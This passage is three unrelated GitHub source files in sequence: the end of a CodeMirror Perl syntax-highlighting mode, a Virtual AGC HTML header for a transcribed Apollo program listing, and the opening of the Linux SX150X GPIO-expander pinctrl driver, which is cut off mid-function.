'$FORMAT_FORMFEED' : 5, '$^L' : 5, '$FORMAT_PAGE_NUMBER' : 5, '$%' : 5, '$FORMAT_LINES_LEFT' : 5, '$-' : 5, '$FORMAT_LINE_BREAK_CHARACTERS' : 5, '$:' : 5, '$FORMAT_LINES_PER_PAGE' : 5, '$=' : 5, '$FORMAT_TOP_NAME' : 5, '$^' : 5, '$FORMAT_NAME' : 5, '$~' : 5, '${^CHILD_ERROR_NATIVE}' : 5, '$EXTENDED_OS_ERROR' : 5, '$^E' : 5, '$EXCEPTIONS_BEING_CAUGHT' : 5, '$^S' : 5, '$WARNING' : 5, '$^W' : 5, '${^WARNING_BITS}' : 5, '$OS_ERROR' : 5, '$ERRNO' : 5, '$!' : 5, '%OS_ERROR' : 5, '%ERRNO' : 5, '%!' : 5, '$CHILD_ERROR' : 5, '$?' : 5, '$EVAL_ERROR' : 5, '$@' : 5, '$OFMT' : 5, '$#' : 5, '$*' : 5, '$ARRAY_BASE' : 5, '$[' : 5, '$OLD_PERL_VERSION' : 5, '$]' : 5, // PERL blocks 'if' :[1,1], elsif :[1,1], 'else' :[1,1], 'while' :[1,1], unless :[1,1], 'for' :[1,1], foreach :[1,1], // PERL functions 'abs' :1, // - absolute value function accept :1, // - accept an incoming socket connect alarm :1, // - schedule a SIGALRM 'atan2' :1, // - arctangent of Y/X in the range -PI to PI bind :1, // - binds an address to a socket binmode :1, // - prepare binary files for I/O bless :1, // - create an object bootstrap :1, // 'break' :1, // - break out of a "given" block caller :1, // - get context of the current subroutine call chdir :1, // - change your current working directory chmod :1, // - changes the permissions on a list of files chomp :1, // - remove a trailing record separator from a string chop :1, // - remove the last character from a string chown :1, // - change the owership on a list of files chr :1, // - get character this number represents chroot :1, // - make directory new root for path lookups close :1, // - close file (or pipe or socket) handle closedir :1, // - close directory handle connect :1, // - connect to a remote socket 'continue' :[1,1], // - optional trailing block in a while or foreach 'cos' :1, // - cosine function crypt :1, // - one-way passwd-style encryption dbmclose :1, // - breaks binding on a tied dbm file dbmopen :1, // - create binding on a tied dbm file 'default' :1, // defined :1, // - test whether a value, variable, or function is defined 'delete' :1, // - deletes a value from a hash die :1, // - raise an exception or bail out 'do' :1, // - turn a BLOCK into a TERM dump :1, // - create an immediate core dump each :1, // - retrieve the next key/value pair from a hash endgrent :1, // - be done using group file endhostent :1, // - be done using hosts file endnetent :1, // - be done using networks file endprotoent :1, // - be done using protocols file endpwent :1, // - be done using passwd file endservent :1, // - be done using services file eof :1, // - test a filehandle for its end 'eval' :1, // - catch exceptions or compile and run code 'exec' :1, // - abandon this program to run another exists :1, // - test whether a hash key is present exit :1, // - terminate this program 'exp' :1, // - raise I to a power fcntl :1, // - file control system call fileno :1, // - return file descriptor from filehandle flock :1, // - lock an entire file with an advisory lock fork :1, // - create a new process just like this one format :1, // - declare a picture format with use by the write() function formline :1, // - internal function used for formats getc :1, // - get the next character from the filehandle getgrent :1, // - get next group record getgrgid :1, // - get group record given group user ID getgrnam :1, // - get group record given group name gethostbyaddr :1, // - get host record given its address gethostbyname :1, // - get host record given name gethostent :1, // - get next hosts record getlogin :1, // - return who logged in at this tty getnetbyaddr :1, // - get network record given its address getnetbyname :1, // - get networks record given name getnetent :1, // - get next networks record getpeername :1, // - find the other end of a socket connection getpgrp :1, // - get process group getppid :1, // - get parent process ID getpriority :1, // - get current nice value getprotobyname :1, // - get protocol record given name getprotobynumber :1, // - get protocol record numeric protocol getprotoent :1, // - get next protocols record getpwent :1, // - get next passwd record getpwnam :1, // - get passwd record given user login name getpwuid :1, // - get passwd record given user ID getservbyname :1, // - get services record given its name getservbyport :1, // - get services record given numeric port getservent :1, // - get next services record getsockname :1, // - retrieve the sockaddr for a given socket getsockopt :1, // - get socket options on a given socket given :1, // glob :1, // - expand filenames using wildcards gmtime :1, // - convert UNIX time into record or string using Greenwich time 'goto' :1, // - create spaghetti code grep :1, // - locate elements in a list test true against a given criterion hex :1, // - convert a string to a hexadecimal number 'import' :1, // - patch a module's namespace into your own index :1, // - find a substring within a string 'int' :1, // - get the integer portion of a number ioctl :1, // - system-dependent device control system call 'join' :1, // - join a list into a string using a separator keys :1, // - retrieve list of indices from a hash kill :1, // - send a signal to a process or process group last :1, // - exit a block prematurely lc :1, // - return lower-case version of a string lcfirst :1, // - return a string with just the next letter in lower case length :1, // - return the number of bytes in a string 'link' :1, // - create a hard link in the filesytem listen :1, // - register your socket as a server local : 2, // - create a temporary value for a global variable (dynamic scoping) localtime :1, // - convert UNIX time into record or string using local time lock :1, // - get a thread lock on a variable, subroutine, or method 'log' :1, // - retrieve the natural logarithm for a number lstat :1, // - stat a symbolic link m :null, // - match a string with a regular expression pattern map :1, // - apply a change to a list to get back a new list with the changes mkdir :1, // - create a directory msgctl :1, // - SysV IPC message control operations msgget :1, // - get SysV IPC message queue msgrcv :1, // - receive a SysV IPC message from a message queue msgsnd :1, // - send a SysV IPC message to a message queue my : 2, // - declare and assign a local variable (lexical scoping) 'new' :1, // next :1, // - iterate a block prematurely no :1, // - unimport some module symbols or semantics at compile time oct :1, // - convert a string to an octal number open :1, // - open a file, pipe, or descriptor opendir :1, // - open a directory ord :1, // - find a character's numeric representation our : 2, // - declare and assign a package variable (lexical scoping) pack :1, // - convert a list into a binary representation 'package' :1, // - declare a separate global namespace pipe :1, // - open a pair of connected filehandles pop :1, // - remove the last element from an array and return it pos :1, // - find or set the offset for the last/next m//g search print :1, // - output a list to a filehandle printf :1, // - output a formatted list to a filehandle prototype :1, // - get the prototype (if any) of a subroutine push :1, // - append one or more elements to an array q :null, // - singly quote a string qq :null, // - doubly quote a string qr :null, // - Compile pattern quotemeta :null, // - quote regular expression magic characters qw :null, // - quote a list of words qx :null, // - backquote quote a string rand :1, // - retrieve the next pseudorandom number read :1, // - fixed-length buffered input from a filehandle readdir :1, // - get a directory from a directory handle readline :1, // - fetch a record from a file readlink :1, // - determine where a symbolic link is pointing readpipe :1, // - execute a system command and collect standard output recv :1, // - receive a message over a Socket redo :1, // - start this loop iteration over again ref :1, // - find out the type of thing being referenced rename :1, // - change a filename require :1, // - load in external functions from a library at runtime reset :1, // - clear all variables of a given name 'return' :1, // - get out of a function early reverse :1, // - flip a string or a list rewinddir :1, // - reset directory handle rindex :1, // - right-to-left substring search rmdir :1, // - remove a directory s :null, // - replace a pattern with a string say :1, // - print with newline scalar :1, // - force a scalar context seek :1, // - reposition file pointer for random-access I/O seekdir :1, // - reposition directory pointer select :1, // - reset default output or do I/O multiplexing semctl :1, // - SysV semaphore control operations semget :1, // - get set of SysV semaphores semop :1, // - SysV semaphore operations send :1, // - send a message over a socket setgrent :1, // - prepare group file for use sethostent :1, // - prepare hosts file for use setnetent :1, // - prepare networks file for use setpgrp :1, // - set the process group of a process setpriority :1, // - set a process's nice value setprotoent :1, // - prepare protocols file for use setpwent :1, // - prepare passwd file for use setservent :1, // - prepare services file for use setsockopt :1, // - set some socket options shift :1, // - remove the first element of an array, and return it shmctl :1, // - SysV shared memory operations shmget :1, // - get SysV shared memory segment identifier shmread :1, // - read SysV shared memory shmwrite :1, // - write SysV shared memory shutdown :1, // - close down just half of a socket connection 'sin' :1, // - return the sine of a number sleep :1, // - block for some number of seconds socket :1, // - create a socket socketpair :1, // - create a pair of sockets 'sort' :1, // - sort a list of values splice :1, // - add or remove elements anywhere in an array 'split' :1, // - split up a string using a regexp delimiter sprintf :1, // - formatted print into a string 'sqrt' :1, // - square root function srand :1, // - seed the random number generator stat :1, // - get a file's status information state :1, // - declare and assign a state variable (persistent lexical scoping) study :1, // - optimize input data for repeated searches 'sub' :1, // - declare a subroutine, possibly anonymously 'substr' :1, // - get or alter a portion of a stirng symlink :1, // - create a symbolic link to a file syscall :1, // - execute an arbitrary system call sysopen :1, // - open a file, pipe, or descriptor sysread :1, // - fixed-length unbuffered input from a filehandle sysseek :1, // - position I/O pointer on handle used with sysread and syswrite system :1, // - run a separate program syswrite :1, // - fixed-length unbuffered output to a filehandle tell :1, // - get current seekpointer on a filehandle telldir :1, // - get current seekpointer on a directory handle tie :1, // - bind a variable to an object class tied :1, // - get a reference to the object underlying a tied variable time :1, // - return number of seconds since 1970 times :1, // - return elapsed time for self and child processes tr :null, // - transliterate a string truncate :1, // - shorten a file uc :1, // - return upper-case version of a string ucfirst :1, // - return a string with just the next letter in upper case umask :1, // - set file creation mode mask undef :1, // - remove a variable or function definition unlink :1, // - remove one link to a file unpack :1, // - convert binary structure into normal perl variables unshift :1, // - prepend more elements to the beginning of a list untie :1, // - break a tie binding to a variable use :1, // - load in a module at compile time utime :1, // - set a file's last access and modify times values :1, // - return a list of the values in a hash vec :1, // - test or set particular bits in a string wait :1, // - wait for any child process to die waitpid :1, // - wait for a particular child process to die wantarray :1, // - get void vs scalar vs list context of current subroutine call warn :1, // - print debugging info when :1, // write :1, // - print a picture record y :null}; // - transliterate a string var RXstyle="string-2"; var RXmodifiers=/[goseximacplud]/; // NOTE: "m", "s", "y" and "tr" need to correct real modifiers for each regexp type function tokenChain(stream,state,chain,style,tail){ // NOTE: chain.length > 2 is not working now (it's for s[...][...]geos;) state.chain=null; // 12 3tail state.style=null; state.tail=null; state.tokenize=function(stream,state){ var e=false,c,i=0; while(c=stream.next()){ if(c===chain[i]&&!e){ if(chain[++i]!==undefined){ state.chain=chain[i]; state.style=style; state.tail=tail} else if(tail) stream.eatWhile(tail); state.tokenize=tokenPerl; return style} e=!e&&c=="\\"} return style}; return state.tokenize(stream,state)} function tokenSOMETHING(stream,state,string){ state.tokenize=function(stream,state){ if(stream.string==string) state.tokenize=tokenPerl; stream.skipToEnd(); return "string"}; return state.tokenize(stream,state)} function tokenPerl(stream,state){ if(stream.eatSpace()) return null; if(state.chain) return tokenChain(stream,state,state.chain,state.style,state.tail); if(stream.match(/^\-?[\d\.]/,false)) if(stream.match(/^(\-?(\d*\.\d+(e[+-]?\d+)?|\d+\.\d*)|0x[\da-fA-F]+|0b[01]+|\d+(e[+-]?\d+)?)/)) return 'number'; if(stream.match(/^<<(?=\w)/)){ // NOTE: <<SOMETHING\n...\nSOMETHING\n stream.eatWhile(/\w/); return tokenSOMETHING(stream,state,stream.current().substr(2))} if(stream.sol()&&stream.match(/^\=item(?!\w)/)){// NOTE: \n=item...\n=cut\n return tokenSOMETHING(stream,state,'=cut')} var ch=stream.next(); if(ch=='"'||ch=="'"){ // NOTE: ' or " or <<'SOMETHING'\n...\nSOMETHING\n or <<"SOMETHING"\n...\nSOMETHING\n if(stream.prefix(3)=="<<"+ch){ var p=stream.pos; stream.eatWhile(/\w/); var n=stream.current().substr(1); if(n&&stream.eat(ch)) return tokenSOMETHING(stream,state,n); stream.pos=p} return tokenChain(stream,state,[ch],"string")} if(ch=="q"){ var c=stream.look(-2); if(!(c&&/\w/.test(c))){ c=stream.look(0); if(c=="x"){ c=stream.look(1); if(c=="("){ stream.eatSuffix(2); return tokenChain(stream,state,[")"],RXstyle,RXmodifiers)} if(c=="["){ stream.eatSuffix(2); return tokenChain(stream,state,["]"],RXstyle,RXmodifiers)} if(c=="{"){ stream.eatSuffix(2); return tokenChain(stream,state,["}"],RXstyle,RXmodifiers)} if(c=="<"){ stream.eatSuffix(2); return tokenChain(stream,state,[">"],RXstyle,RXmodifiers)} if(/[\^'"!~\/]/.test(c)){ stream.eatSuffix(1); return tokenChain(stream,state,[stream.eat(c)],RXstyle,RXmodifiers)}} else if(c=="q"){ c=stream.look(1); if(c=="("){ stream.eatSuffix(2); return tokenChain(stream,state,[")"],"string")} if(c=="["){ stream.eatSuffix(2); return tokenChain(stream,state,["]"],"string")} if(c=="{"){ stream.eatSuffix(2); return tokenChain(stream,state,["}"],"string")} if(c=="<"){ stream.eatSuffix(2); return tokenChain(stream,state,[">"],"string")} if(/[\^'"!~\/]/.test(c)){ stream.eatSuffix(1); return tokenChain(stream,state,[stream.eat(c)],"string")}} else if(c=="w"){ c=stream.look(1); if(c=="("){ stream.eatSuffix(2); return tokenChain(stream,state,[")"],"bracket")} if(c=="["){ stream.eatSuffix(2); return tokenChain(stream,state,["]"],"bracket")} if(c=="{"){ stream.eatSuffix(2); return tokenChain(stream,state,["}"],"bracket")} if(c=="<"){ stream.eatSuffix(2); return tokenChain(stream,state,[">"],"bracket")} if(/[\^'"!~\/]/.test(c)){ stream.eatSuffix(1); return tokenChain(stream,state,[stream.eat(c)],"bracket")}} else if(c=="r"){ c=stream.look(1); if(c=="("){ stream.eatSuffix(2); return tokenChain(stream,state,[")"],RXstyle,RXmodifiers)} if(c=="["){ stream.eatSuffix(2); return tokenChain(stream,state,["]"],RXstyle,RXmodifiers)} if(c=="{"){ stream.eatSuffix(2); return tokenChain(stream,state,["}"],RXstyle,RXmodifiers)} if(c=="<"){ stream.eatSuffix(2); return tokenChain(stream,state,[">"],RXstyle,RXmodifiers)} if(/[\^'"!~\/]/.test(c)){ stream.eatSuffix(1); return tokenChain(stream,state,[stream.eat(c)],RXstyle,RXmodifiers)}} else if(/[\^'"!~\/(\[{<]/.test(c)){ if(c=="("){ stream.eatSuffix(1); return tokenChain(stream,state,[")"],"string")} if(c=="["){ stream.eatSuffix(1); return tokenChain(stream,state,["]"],"string")} if(c=="{"){ stream.eatSuffix(1); return tokenChain(stream,state,["}"],"string")} if(c=="<"){ stream.eatSuffix(1); return tokenChain(stream,state,[">"],"string")} if(/[\^'"!~\/]/.test(c)){ return tokenChain(stream,state,[stream.eat(c)],"string")}}}} if(ch=="m"){ var c=stream.look(-2); if(!(c&&/\w/.test(c))){ c=stream.eat(/[(\[{<\^'"!~\/]/); if(c){ if(/[\^'"!~\/]/.test(c)){ return tokenChain(stream,state,[c],RXstyle,RXmodifiers)} if(c=="("){ return tokenChain(stream,state,[")"],RXstyle,RXmodifiers)} if(c=="["){ return tokenChain(stream,state,["]"],RXstyle,RXmodifiers)} if(c=="{"){ return tokenChain(stream,state,["}"],RXstyle,RXmodifiers)} if(c=="<"){ return tokenChain(stream,state,[">"],RXstyle,RXmodifiers)}}}} if(ch=="s"){ var c=/[\/>\]})\w]/.test(stream.look(-2)); if(!c){ c=stream.eat(/[(\[{<\^'"!~\/]/); if(c){ if(c=="[") return tokenChain(stream,state,["]","]"],RXstyle,RXmodifiers); if(c=="{") return tokenChain(stream,state,["}","}"],RXstyle,RXmodifiers); if(c=="<") return tokenChain(stream,state,[">",">"],RXstyle,RXmodifiers); if(c=="(") return tokenChain(stream,state,[")",")"],RXstyle,RXmodifiers); return tokenChain(stream,state,[c,c],RXstyle,RXmodifiers)}}} if(ch=="y"){ var c=/[\/>\]})\w]/.test(stream.look(-2)); if(!c){ c=stream.eat(/[(\[{<\^'"!~\/]/); if(c){ if(c=="[") return tokenChain(stream,state,["]","]"],RXstyle,RXmodifiers); if(c=="{") return tokenChain(stream,state,["}","}"],RXstyle,RXmodifiers); if(c=="<") return tokenChain(stream,state,[">",">"],RXstyle,RXmodifiers); if(c=="(") return tokenChain(stream,state,[")",")"],RXstyle,RXmodifiers); return tokenChain(stream,state,[c,c],RXstyle,RXmodifiers)}}} if(ch=="t"){ var c=/[\/>\]})\w]/.test(stream.look(-2)); if(!c){ c=stream.eat("r");if(c){ c=stream.eat(/[(\[{<\^'"!~\/]/); if(c){ if(c=="[") return tokenChain(stream,state,["]","]"],RXstyle,RXmodifiers); if(c=="{") return tokenChain(stream,state,["}","}"],RXstyle,RXmodifiers); if(c=="<") return tokenChain(stream,state,[">",">"],RXstyle,RXmodifiers); if(c=="(") return tokenChain(stream,state,[")",")"],RXstyle,RXmodifiers); return tokenChain(stream,state,[c,c],RXstyle,RXmodifiers)}}}} if(ch=="`"){ return tokenChain(stream,state,[ch],"variable-2")} if(ch=="/"){ if(!/~\s*$/.test(stream.prefix())) return "operator"; else return tokenChain(stream,state,[ch],RXstyle,RXmodifiers)} if(ch=="$"){ var p=stream.pos; if(stream.eatWhile(/\d/)||stream.eat("{")&&stream.eatWhile(/\d/)&&stream.eat("}")) return "variable-2"; else stream.pos=p} if(/[$@%]/.test(ch)){ var p=stream.pos; if(stream.eat("^")&&stream.eat(/[A-Z]/)||!/[@$%&]/.test(stream.look(-2))&&stream.eat(/[=|\\\-#?@;:&`~\^!\[\]*'"$+.,\/<>()]/)){ var c=stream.current(); if(PERL[c]) return "variable-2"} stream.pos=p} if(/[$@%&]/.test(ch)){ if(stream.eatWhile(/[\w$\[\]]/)||stream.eat("{")&&stream.eatWhile(/[\w$\[\]]/)&&stream.eat("}")){ var c=stream.current(); if(PERL[c]) return "variable-2"; else return "variable"}} if(ch=="#"){ if(stream.look(-2)!="$"){ stream.skipToEnd(); return "comment"}} if(/[:+\-\^*$&%@=<>!?|\/~\.]/.test(ch)){ var p=stream.pos; stream.eatWhile(/[:+\-\^*$&%@=<>!?|\/~\.]/); if(PERL[stream.current()]) return "operator"; else stream.pos=p} if(ch=="_"){ if(stream.pos==1){ if(stream.suffix(6)=="_END__"){ return tokenChain(stream,state,['\0'],"comment")} else if(stream.suffix(7)=="_DATA__"){ return tokenChain(stream,state,['\0'],"variable-2")} else if(stream.suffix(7)=="_C__"){ return tokenChain(stream,state,['\0'],"string")}}} if(/\w/.test(ch)){ var p=stream.pos; if(stream.look(-2)=="{"&&(stream.look(0)=="}"||stream.eatWhile(/\w/)&&stream.look(0)=="}")) return "string"; else stream.pos=p} if(/[A-Z]/.test(ch)){ var l=stream.look(-2); var p=stream.pos; stream.eatWhile(/[A-Z_]/); if(/[\da-z]/.test(stream.look(0))){ stream.pos=p} else{ var c=PERL[stream.current()]; if(!c) return "meta"; if(c[1]) c=c[0]; if(l!=":"){ if(c==1) return "keyword"; else if(c==2) return "def"; else if(c==3) return "atom"; else if(c==4) return "operator"; else if(c==5) return "variable-2"; else return "meta"} else return "meta"}} if(/[a-zA-Z_]/.test(ch)){ var l=stream.look(-2); stream.eatWhile(/\w/); var c=PERL[stream.current()]; if(!c) return "meta"; if(c[1]) c=c[0]; if(l!=":"){ if(c==1) return "keyword"; else if(c==2) return "def"; else if(c==3) return "atom"; else if(c==4) return "operator"; else if(c==5) return "variable-2"; else return "meta"} else return "meta"} return null} return{ startState:function(){ return{ tokenize:tokenPerl, chain:null, style:null, tail:null}}, token:function(stream,state){ return (state.tokenize||tokenPerl)(stream,state)}, electricChars:"{}"}}); CodeMirror.defineMIME("text/x-perl", "perl"); // it's like "peek", but need for look-ahead or look-behind if index < 0 CodeMirror.StringStream.prototype.look=function(c){ return this.string.charAt(this.pos+(c||0))}; // return a part of prefix of current stream from current position CodeMirror.StringStream.prototype.prefix=function(c){ if(c){ var x=this.pos-c; return this.string.substr((x>=0?x:0),c)} else{ return this.string.substr(0,this.pos-1)}}; // return a part of suffix of current stream from current position CodeMirror.StringStream.prototype.suffix=function(c){ var y=this.string.length; var x=y-this.pos+1; return this.string.substr(this.pos,(c&&c<y?c:x))}; // return a part of suffix of current stream from current position and change current position CodeMirror.StringStream.prototype.nsuffix=function(c){ var p=this.pos; var l=c||(this.string.length-this.pos+1); this.pos+=l; return this.string.substr(p,l)}; // eating and vomiting a part of stream from current position CodeMirror.StringStream.prototype.eatSuffix=function(c){ var x=this.pos+c; var y; if(x<=0) this.pos=0; else if(x>=(y=this.string.length-1)) this.pos=y; else this.pos=x};
{ "pile_set_name": "Github" }
<table style="text-align: left;" border="1" cellpadding="2" cellspacing="2"> <tbody> <tr> <td style="white-space: nowrap; vertical-align: middle;"> <img alt="" src="Apollo32.png" style="width: 32px; height: 32px;" align="left"> </td> <td style="vertical-align: middle;"> These source-code files were transcribed from a printout in Don Eyles's personal collection, scanned by archive.org, and financially sponsored by Linden Sims. A team of volunteers performed the transcription and proof-reading. The scanned page images are available at <a href="http://www.ibiblio.org/apollo/ScansForConversion/Zerlina56/"> the Virtual AGC Project website</a>, as well as higher-quality (but much larger) images at <a href="https://archive.org/details/zerlina00done"> the Virtual AGC Project's collection in the Internet Archive</a>. Report any problems by creating "issues" at <a href="https://github.org/virtualagc/virtualagc/issues"> the Virtual AGC Project's GitHub Repository</a>.<br><br> Notations on the program listing read, in part:<br> <br> <pre> GAP: ASSEMBLE REVISION 56 OF AGC PROGRAM ZERLINA BY ZOROASTER 9:12 OCT. 21,1970 </pre> Note that the date is the date of the printout, not the date of the program revision. </td></tr></tbody></table>
{ "pile_set_name": "Github" }
// SPDX-License-Identifier: GPL-2.0-only /* * Copyright (c) 2016, BayLibre, SAS. All rights reserved. * Author: Neil Armstrong <narmstrong@baylibre.com> * * Copyright (c) 2010, Code Aurora Forum. All rights reserved. * * Driver for Semtech SX150X I2C GPIO Expanders * The handling of the 4-bit chips (SX1501/SX1504/SX1507) is untested. * * Author: Gregory Bean <gbean@codeaurora.org> */ #include <linux/regmap.h> #include <linux/i2c.h> #include <linux/init.h> #include <linux/interrupt.h> #include <linux/irq.h> #include <linux/mutex.h> #include <linux/slab.h> #include <linux/of.h> #include <linux/of_device.h> #include <linux/gpio/driver.h> #include <linux/pinctrl/pinconf.h> #include <linux/pinctrl/pinctrl.h> #include <linux/pinctrl/pinmux.h> #include <linux/pinctrl/pinconf-generic.h> #include "core.h" #include "pinconf.h" #include "pinctrl-utils.h" /* The chip models of sx150x */ enum { SX150X_123 = 0, SX150X_456, SX150X_789, }; enum { SX150X_789_REG_MISC_AUTOCLEAR_OFF = 1 << 0, SX150X_MAX_REGISTER = 0xad, SX150X_IRQ_TYPE_EDGE_RISING = 0x1, SX150X_IRQ_TYPE_EDGE_FALLING = 0x2, SX150X_789_RESET_KEY1 = 0x12, SX150X_789_RESET_KEY2 = 0x34, }; struct sx150x_123_pri { u8 reg_pld_mode; u8 reg_pld_table0; u8 reg_pld_table1; u8 reg_pld_table2; u8 reg_pld_table3; u8 reg_pld_table4; u8 reg_advanced; }; struct sx150x_456_pri { u8 reg_pld_mode; u8 reg_pld_table0; u8 reg_pld_table1; u8 reg_pld_table2; u8 reg_pld_table3; u8 reg_pld_table4; u8 reg_advanced; }; struct sx150x_789_pri { u8 reg_drain; u8 reg_polarity; u8 reg_clock; u8 reg_misc; u8 reg_reset; u8 ngpios; }; struct sx150x_device_data { u8 model; u8 reg_pullup; u8 reg_pulldn; u8 reg_dir; u8 reg_data; u8 reg_irq_mask; u8 reg_irq_src; u8 reg_sense; u8 ngpios; union { struct sx150x_123_pri x123; struct sx150x_456_pri x456; struct sx150x_789_pri x789; } pri; const struct pinctrl_pin_desc *pins; unsigned int npins; }; struct sx150x_pinctrl { struct device *dev; struct i2c_client *client; struct pinctrl_dev *pctldev; struct pinctrl_desc pinctrl_desc; struct gpio_chip gpio; struct irq_chip irq_chip; struct regmap *regmap; struct { u32 sense; u32 masked; } irq; struct mutex lock; const struct sx150x_device_data *data; }; static const struct pinctrl_pin_desc sx150x_4_pins[] = { PINCTRL_PIN(0, "gpio0"), PINCTRL_PIN(1, "gpio1"), PINCTRL_PIN(2, "gpio2"), PINCTRL_PIN(3, "gpio3"), PINCTRL_PIN(4, "oscio"), }; static const struct pinctrl_pin_desc sx150x_8_pins[] = { PINCTRL_PIN(0, "gpio0"), PINCTRL_PIN(1, "gpio1"), PINCTRL_PIN(2, "gpio2"), PINCTRL_PIN(3, "gpio3"), PINCTRL_PIN(4, "gpio4"), PINCTRL_PIN(5, "gpio5"), PINCTRL_PIN(6, "gpio6"), PINCTRL_PIN(7, "gpio7"), PINCTRL_PIN(8, "oscio"), }; static const struct pinctrl_pin_desc sx150x_16_pins[] = { PINCTRL_PIN(0, "gpio0"), PINCTRL_PIN(1, "gpio1"), PINCTRL_PIN(2, "gpio2"), PINCTRL_PIN(3, "gpio3"), PINCTRL_PIN(4, "gpio4"), PINCTRL_PIN(5, "gpio5"), PINCTRL_PIN(6, "gpio6"), PINCTRL_PIN(7, "gpio7"), PINCTRL_PIN(8, "gpio8"), PINCTRL_PIN(9, "gpio9"), PINCTRL_PIN(10, "gpio10"), PINCTRL_PIN(11, "gpio11"), PINCTRL_PIN(12, "gpio12"), PINCTRL_PIN(13, "gpio13"), PINCTRL_PIN(14, "gpio14"), PINCTRL_PIN(15, "gpio15"), PINCTRL_PIN(16, "oscio"), }; static const struct sx150x_device_data sx1501q_device_data = { .model = SX150X_123, .reg_pullup = 0x02, .reg_pulldn = 0x03, .reg_dir = 0x01, .reg_data = 0x00, .reg_irq_mask = 0x05, .reg_irq_src = 0x08, .reg_sense = 0x07, .pri.x123 = { .reg_pld_mode = 0x10, .reg_pld_table0 = 0x11, .reg_pld_table2 = 0x13, .reg_advanced = 0xad, }, .ngpios = 4, .pins = sx150x_4_pins, .npins = 4, /* oscio not available */ }; static const struct sx150x_device_data sx1502q_device_data = { .model = SX150X_123, .reg_pullup = 0x02, .reg_pulldn = 0x03, .reg_dir = 0x01, .reg_data = 0x00, .reg_irq_mask = 0x05, .reg_irq_src = 0x08, .reg_sense = 0x06, .pri.x123 = { .reg_pld_mode = 0x10, .reg_pld_table0 = 0x11, .reg_pld_table1 = 0x12, .reg_pld_table2 = 0x13, .reg_pld_table3 = 0x14, .reg_pld_table4 = 0x15, .reg_advanced = 0xad, }, .ngpios = 8, .pins = sx150x_8_pins, .npins = 8, /* oscio not available */ }; static const struct sx150x_device_data sx1503q_device_data = { .model = SX150X_123, .reg_pullup = 0x04, .reg_pulldn = 0x06, .reg_dir = 0x02, .reg_data = 0x00, .reg_irq_mask = 0x08, .reg_irq_src = 0x0e, .reg_sense = 0x0a, .pri.x123 = { .reg_pld_mode = 0x20, .reg_pld_table0 = 0x22, .reg_pld_table1 = 0x24, .reg_pld_table2 = 0x26, .reg_pld_table3 = 0x28, .reg_pld_table4 = 0x2a, .reg_advanced = 0xad, }, .ngpios = 16, .pins = sx150x_16_pins, .npins = 16, /* oscio not available */ }; static const struct sx150x_device_data sx1504q_device_data = { .model = SX150X_456, .reg_pullup = 0x02, .reg_pulldn = 0x03, .reg_dir = 0x01, .reg_data = 0x00, .reg_irq_mask = 0x05, .reg_irq_src = 0x08, .reg_sense = 0x07, .pri.x456 = { .reg_pld_mode = 0x10, .reg_pld_table0 = 0x11, .reg_pld_table2 = 0x13, }, .ngpios = 4, .pins = sx150x_4_pins, .npins = 4, /* oscio not available */ }; static const struct sx150x_device_data sx1505q_device_data = { .model = SX150X_456, .reg_pullup = 0x02, .reg_pulldn = 0x03, .reg_dir = 0x01, .reg_data = 0x00, .reg_irq_mask = 0x05, .reg_irq_src = 0x08, .reg_sense = 0x06, .pri.x456 = { .reg_pld_mode = 0x10, .reg_pld_table0 = 0x11, .reg_pld_table1 = 0x12, .reg_pld_table2 = 0x13, .reg_pld_table3 = 0x14, .reg_pld_table4 = 0x15, }, .ngpios = 8, .pins = sx150x_8_pins, .npins = 8, /* oscio not available */ }; static const struct sx150x_device_data sx1506q_device_data = { .model = SX150X_456, .reg_pullup = 0x04, .reg_pulldn = 0x06, .reg_dir = 0x02, .reg_data = 0x00, .reg_irq_mask = 0x08, .reg_irq_src = 0x0e, .reg_sense = 0x0a, .pri.x456 = { .reg_pld_mode = 0x20, .reg_pld_table0 = 0x22, .reg_pld_table1 = 0x24, .reg_pld_table2 = 0x26, .reg_pld_table3 = 0x28, .reg_pld_table4 = 0x2a, .reg_advanced = 0xad, }, .ngpios = 16, .pins = sx150x_16_pins, .npins = 16, /* oscio not available */ }; static const struct sx150x_device_data sx1507q_device_data = { .model = SX150X_789, .reg_pullup = 0x03, .reg_pulldn = 0x04, .reg_dir = 0x07, .reg_data = 0x08, .reg_irq_mask = 0x09, .reg_irq_src = 0x0b, .reg_sense = 0x0a, .pri.x789 = { .reg_drain = 0x05, .reg_polarity = 0x06, .reg_clock = 0x0d, .reg_misc = 0x0e, .reg_reset = 0x7d, }, .ngpios = 4, .pins = sx150x_4_pins, .npins = ARRAY_SIZE(sx150x_4_pins), }; static const struct sx150x_device_data sx1508q_device_data = { .model = SX150X_789, .reg_pullup = 0x03, .reg_pulldn = 0x04, .reg_dir = 0x07, .reg_data = 0x08, .reg_irq_mask = 0x09, .reg_irq_src = 0x0c, .reg_sense = 0x0a, .pri.x789 = { .reg_drain = 0x05, .reg_polarity = 0x06, .reg_clock = 0x0f, .reg_misc = 0x10, .reg_reset = 0x7d, }, .ngpios = 8, .pins = sx150x_8_pins, .npins = ARRAY_SIZE(sx150x_8_pins), }; static const struct sx150x_device_data sx1509q_device_data = { .model = SX150X_789, .reg_pullup = 0x06, .reg_pulldn = 0x08, .reg_dir = 0x0e, .reg_data = 0x10, .reg_irq_mask = 0x12, .reg_irq_src = 0x18, .reg_sense = 0x14, .pri.x789 = { .reg_drain = 0x0a, .reg_polarity = 0x0c, .reg_clock = 0x1e, .reg_misc = 0x1f, .reg_reset = 0x7d, }, .ngpios = 16, .pins = sx150x_16_pins, .npins = ARRAY_SIZE(sx150x_16_pins), }; static int sx150x_pinctrl_get_groups_count(struct pinctrl_dev *pctldev) { return 0; } static const char *sx150x_pinctrl_get_group_name(struct pinctrl_dev *pctldev, unsigned int group) { return NULL; } static int sx150x_pinctrl_get_group_pins(struct pinctrl_dev *pctldev, unsigned int group, const unsigned int **pins, unsigned int *num_pins) { return -ENOTSUPP; } static const struct pinctrl_ops sx150x_pinctrl_ops = { .get_groups_count = sx150x_pinctrl_get_groups_count, .get_group_name = sx150x_pinctrl_get_group_name, .get_group_pins = sx150x_pinctrl_get_group_pins, #ifdef CONFIG_OF .dt_node_to_map = pinconf_generic_dt_node_to_map_pin, .dt_free_map = pinctrl_utils_free_map, #endif }; static bool sx150x_pin_is_oscio(struct sx150x_pinctrl *pctl, unsigned int pin) { if (pin >= pctl->data->npins) return false; /* OSCIO pin is only present in 789 devices */ if (pctl->data->model != SX150X_789) return false; return !strcmp(pctl->data->pins[pin].name, "oscio"); } static int sx150x_gpio_get_direction(struct gpio_chip *chip, unsigned int offset) { struct sx150x_pinctrl *pctl = 